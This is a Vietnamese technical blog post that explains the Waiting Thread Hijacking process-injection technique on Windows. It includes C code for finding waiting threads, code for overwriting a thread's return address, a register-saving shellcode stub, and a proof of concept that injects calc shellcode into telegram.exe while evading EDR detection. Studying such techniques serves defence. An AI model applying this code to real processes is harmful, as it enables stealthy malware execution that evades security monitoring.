Waiting Thread Hijacking - Phiên bản tinh vi hơn của kỹ thuật chiếm quyền thực thi

Published By: BLUE TEAM

Published On: 31/05/2025

Published in:

Waiting Thread Hijacking

Waiting thread hijacking là một kĩ thuật cải tiến từ kĩ thuật Thread Hijacking cơ bản. Kĩ thuật này thực hiện chèn shellcode vào 1 luồng của target process mà không cần sử dụng đến các API dễ bị bắt như SuspendThread / ResumeThread hay SetThreadContext.

Các Handles yêu cầu những quyền truy cập sau:

  • Target process: PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE
  • Target thread: THREAD_GET_CONTEXT

Các API cần sử dụng:

  • NtQuerySystemInformation (với tham số SystemProcessInformation )
  • OpenProcess
  • GetThreadContext
  • ReadProcessMemory
  • VirtualAllocEx
  • WriteProcessMemory
  • VirtualProtectEx
Điểm yếu của các phương pháp Inject code thông qua thread

Một vài phương pháp để thực hiện inject code có thể kể đến như:

  • Tạo Remote thread

  • Chèn thêm hàm vào APC Queue của thread có sẵn

  • Trực tiếp thay đổi context của thread bằng GetThreadContext/ GetThreadContext hoặc RtlRemoteCall.

Phương pháp đơn giản nhất là tự tạo một remote thread tới target process, bằng cách sử dụng hoặc liên quan đến API CreateRemoteThread. Bất kể tiếp cận phương pháp này bằng cách nào(Standard Windows APIs, Native API, Direct Syscalls), dù là sử dụng các phiên bản mới hay cũ của dạng API này, hay thậm chí là gọi trực tiếp bằng syscalls, thì phương pháp này vẫn không đảm bảo tính ẩn mình. Hành vi khởi tạo thread sẽ tạo kernel callback khiến EDR nhanh chóng phát hiện hành vi đáng ngờ thông qua PsSetCreateThreadNotifyRoutine/ Ex.

Một phương pháp tốt hơn chính là sử dụng các luồng có sẵn thay vì tự tạo ra thread. Phương pháp sử dụng APC là một cách tiếp cận tốt, cụ thể là kĩ thuật Thread name-calling. Tuy nhiên bản thân kĩ thuật này cũng có hạn chế. Nó cần quyền THREAD_SET_CONTEXT. Hay sự kiện mở một handle cũng tạo ra một lệnh kernel callback(có thể bị theo dõi ở kernel mode thông qua ObRegisterCallbacks).

Phương án còn lại được đề cập trên là chiếm quyền điều khiển của thread cũng cần quyền THREAD_SET_CONTEXT, đồng thời còn có thêm một flag dễ bị theo dõi là THREAD_SUSPEND_RESUME. Đồng thời các API cần sử dụng trong phương pháp này cũng dễ bị theo dõi và ngăn chặn bởi EDRs.

Tóm lại, ta có thể chỉ ra một số vấn đề lớn của kỹ thuật chiếm quyền thực thi luồng cổ điển (Thread Execution Hijacking):

  • Sử dụng những API dễ bị phát hiện bởi EDR như: SuspendThread, ResumeThread hay CreateRemoteThread.

  • Gặp vấn đề khi chuyển hướng thực thi của luồng bị tạm dừng sang mã độc. Một số API như SetThreadContext hay phiên bản cấp thấp hơn là NtSetContextThread cũng là những API cần tránh sử dụng.

  • Cuối cùng, việc trả luồng về luồng thực thi gốc cũng không hề đơn giản. Chúng ta cần lưu trữ context ban đầu của luồng ở đâu đó, rồi khôi phục lại khi shellcode kết thúc. Điều này có thể ảnh hưởng đến tính ổn định của tiến trình mục tiêu.

Phương án cải thiện của kĩ thuật Waiting Thread Hijacking

Thread Pools

Thay vì thực hiện suspend một luồng đạng chạy, ta sẽ sử dụng những luồng có thể giúp đạt được hiệu quả tương tự nhờ các đặc điểm vốn có của chúng. Cụ thể là, các luồng đang ở trạng thái chờ (waiting threads) — nơi mà địa chỉ trả về có thể bị thao túng mà không làm mất ổn định toàn bộ ứng dụng. Những luồng như vậy có thể được tìm thấy dễ dàng nhờ Thread Pools. Phương án này giúp ta tránh phải sử dụng những API dễ bị alert như đã đề cập trên.

Xác định luồng thích hợp

Về lý thuyết, bất kỳ luồng nào đang ở trạng thái chờ (waiting thread), đều có thể trở thành mục tiêu bị chiếm quyền thực thi. Tuy nhiên, để không gây ra các vấn đề đồng bộ (synchronization issues) trong target process. Một trong những lựa chọn an toàn là chọn các luồng có wait reasonWrQueue. Lý do này cho biết rằng luồng đang chờ trên một đối tượng `KQUEUE`, tức là một đối tượng kernel được dùng để quản lý hàng đợi của các IRP (I/O Request Packets). WrQueue thường gặp trong 2 trường hợp:

  • Chờ I/O hoàn tất (qua GetQueuedCompletionStatus)

  • Luồng của ThreadPool đang chờ việc (qua TppWorkerThread)

Cả 2 trường hợp trên đều không giữ tài nguyên quan trọng, không nằm trong đoạn code phức tạp → an toàn để can thiệp.

A screenshot of a computer program

AI-generated content may be incorrect.

 

A screenshot of a computer

AI-generated content may be incorrect.

Để tìm các luồng như vậy, chúng ta sử dụng hàm native NtQuerySystemInformation với tham số SystemProcessInformation, cho phép liệt kê tất cả tiến trình và luồng, đồng thời trích xuất các thông tin hữu ích.

Đối với mỗi luồng, hàm này trả về cấu trúc SYSTEM_THREAD_INFORMATION. Trường ThreadState cho phép kiểm tra xem luồng hiện có đang ở trạng thái chờ (waiting) hay không, và WaitReason cung cấp thêm thông tin về nguyên nhân khiến luồng đó chờ.

Dưới đây là hàm tham khảo mình xây dựng để  thực hiện lấy thông tin thread bằng NtQuerySystemInformation.

const char* enum_WaitReason[] = {
   "Executive", "FreePage", "PageIn", "PoolAllocation", "DelayExecution", "Suspended", "UserRequest",
   "WrExecutive", "WrFreePage", "WrPageIn", "WrPoolAllocation", "WrDelayExecution", "WrSuspended",
   "WrUserRequest", "WrEventPair", "WrQueue", "WrLpcReceive", "WrLpcReply", "WrVirtualMemory",
   "WrPageOut", "WrRendezvous", "WrKeyedEvent", "WrTerminated", "WrProcessInSwap", "WrCpuRateControl",
   "WrCalloutStack", "WrKernel", "WrResource", "WrPushLock", "WrMutex", "WrQuantumEnd", "WrDispatchInt",
   "WrPreempted", "WrYieldExecution", "WrFastMutex", "WrGuardedMutex", "WrRundown", "WrAlertByThreadId",
   "WrDeferredPreempt", "WrPhysicalFault"
};
const char* enum_WaitReasonStr[] = { "Initialized", "Ready", "Running", "Standby", "Terminated", "Waiting", "Transition", "DeferredReady", "GateWaitObsolete" };
bool GetThreadsInfor()
{
   PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)
   GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
   if (!NtQuerySystemInformation) {
       printf("Failed to get NtQuerySystemInformation\n");
       return 0;
   }
   ULONG bufferSize = 0x10000;
   PVOID buffer = malloc(bufferSize);
   NTSTATUS status;
   while ((status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
       bufferSize += 0x10000;
       buffer = realloc(buffer, bufferSize);
   }
   SYSTEM_PROCESS_INFORMATION* spi = (SYSTEM_PROCESS_INFORMATION*) buffer;
   if (spi == NULL)
       return 0;
   while (TRUE) {
       wprintf(L"PID: %u\tName: %wZ\n", (ULONG)(ULONG_PTR)spi->UniqueProcessId, &spi->ImageName);
       PSYSTEM_THREAD_INFORMATION pt = (PSYSTEM_THREAD_INFORMATION)(spi + 1);
       for (int t = 0; t < spi->NumberOfThreads; t++) {
           printf("\tStart address of thread %15llx,\t\tThreadID: %d,\t\tThreadState: %s,\t\tWaitReason: %s\n", pt->StartAddress, pt->ClientId.UniqueThread,enum_WaitReasonStr[pt->ThreadState], enum_WaitReason[pt->WaitReason]);
           pt++; 
       }
       if (spi->NextEntryOffset == 0) break;
       spi = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset);
   }
   free(buffer);
   return 1;
}

Sau khi lấy được TID của luồng đang trong trạng thái WrQueue, ta thực hiện sửa RSP và chèn nội dung shellcode vào bằng WriteProcessMemory sau khi lấy ra context của luồng bằng thread handle. Đồng thời cũng lưu lại địa chỉ RSP trỏ đến ban đầu trước khi chèn địa chỉ của shellcode để quay trở lại luồng sau khi thực thi shellcode.

ReadProcessMemory(hProcess, RIP, &lpBuffer, sizeof(lpBuffer), &bytesRead);
        lpBuffer = 0;
        bytesRead;
        SIZE_T bytesWritten = 0;
        ReadProcessMemory(hProcess, lpBaseAddress, &lpBuffer, sizeof(lpBuffer), &bytesRead);
        printf("curr RSP: %llx\n", lpBuffer);
        *(long long*)shellcod3 = lpBuffer;
        WriteProcessMemory(hProcess, lpShellcodeMem, shellcod3, shellcode_size, &bytesWritten);
        printf("Shellcode addr %llx\n", lpShellcodeMem);
        long long x = ((ULONGLONG)lpShellcodeMem + 8);
        printf("shellcode addr: %llx,\twriten byte: %d\n", x,bytesWritten);
        WriteProcessMemory(hProcess, (LPVOID)lpBaseAddress, &x, sizeof(x), &bytesWritten);
        ReadProcessMemory(hProcess, lpBaseAddress, &lpBuffer, sizeof(lpBuffer), &bytesRead);
        printf("new RSP: %llx\n", lpBuffer);
        printf("writen byte: %d\n", bytesWritten);

Đảm bảo target process hoạt động bình thường

Để đảm bảo chương trình không bị crash khi thay đổi luồng, ta sẽ xây dựng nội dung shellcode như dưới 

[SAVED_RET_PTR] ; Địa chỉ RSP gốc
pushf           ; Lưu trữ nội dung các thanh ghi và flag
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
call shellcode_main ; call tới shellcode
pop r15             ;Trả lại context các register và flag ban đầu
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
popf
jmp qword ptr ds:[SAVED_RET_PTR] ;quay về địa chỉ RSP ban đầu
[shellcode_main] ; nội dung shellcode

Cụ thể, sau khi nhảy đến shellcode, ta cần lưu lại context ban đầu của chương trình, trước khi thực thi shellcode rồi trả lại “nguyên trạng” trước khi quay về địa chỉ RSP gốc được lưu tại 8 byte đầu của shellcode.

Mô hình triển khai

 

POC

Target của mình sẽ là tiến trình telegram.exe

Sử dụng ida để attach tiến trình và quan sát.

A screenshot of a computer

AI-generated content may be incorrect.

Trace và cắm bp tại địa chỉ shellcode là 0x23c444f0008.

PID: 2294
Start address of thread    7fff327aaf00,  ThreadID: 11576,ThreadState: Waiting,WaitReason: WrQueue
Thread Handle: 180
Shellcode addr 23c444f0000
Rax = 0x9
Rbx = 0x0
Rcx = 0x7ec
Rdx = 0x9b6bcffe00
Rsi = 0x1
Rdi = 0x7fff2efd0000
Rsp = 0x9b6bcffd98
Rbp = 0x0
R8  = 0x9b6bcffe08
R9  = 0x9b6bcffdd0
R10 = 0x0
R11 = 0x246
R12 = 0x0
R13 = 0x0
R14 = 0x0
R15 = 0x0
Rip = 0x7fff327f0254
EFlags = 0x246
SegCs = 0x33
SegDs = 0x2b
SegEs = 0x2b
SegFs = 0x53
SegGs = 0x2b
SegSs = 0x2b
code: 841f0fc32ecdcc
curr RSP: 7fff2efde38b
Shellcode addr 23c444f0000
shellcode addr: 23c444f0008,    writen byte: 1342
new RSP: 23c444f0008
writen byte: 8
A screenshot of a computer

AI-generated content may be incorrect.

Chạy shellcode gọi calc thành công

A screenshot of a computer

AI-generated content may be incorrect.

Quay lại địa chỉ RSP ban đầu là `7fff2efde38b` và tiếp tục chương trình mà không gây crash.

A screenshot of a computer screen

AI-generated content may be incorrect.

Tổng kết

Kĩ thuật Waiting Thread Hijacking khắc phục được điểm yếu của các kĩ thuật đã đề cập trên, tuy nhiên lại xuất hiện điểm yếu, vì không tự thực hiện resumeThread nên có đôi khi phải phụ thuộc vào target Process, giả sử target Process tắt đi trước khi luồng được nhắm đến Resume trở lại, shellcode tất nhiên sẽ không được thực thi. Phương pháp này sẽ bị động hơn, dù cải thiện tính Stealth đúng như mục đích ban đầu.

42 lượt xem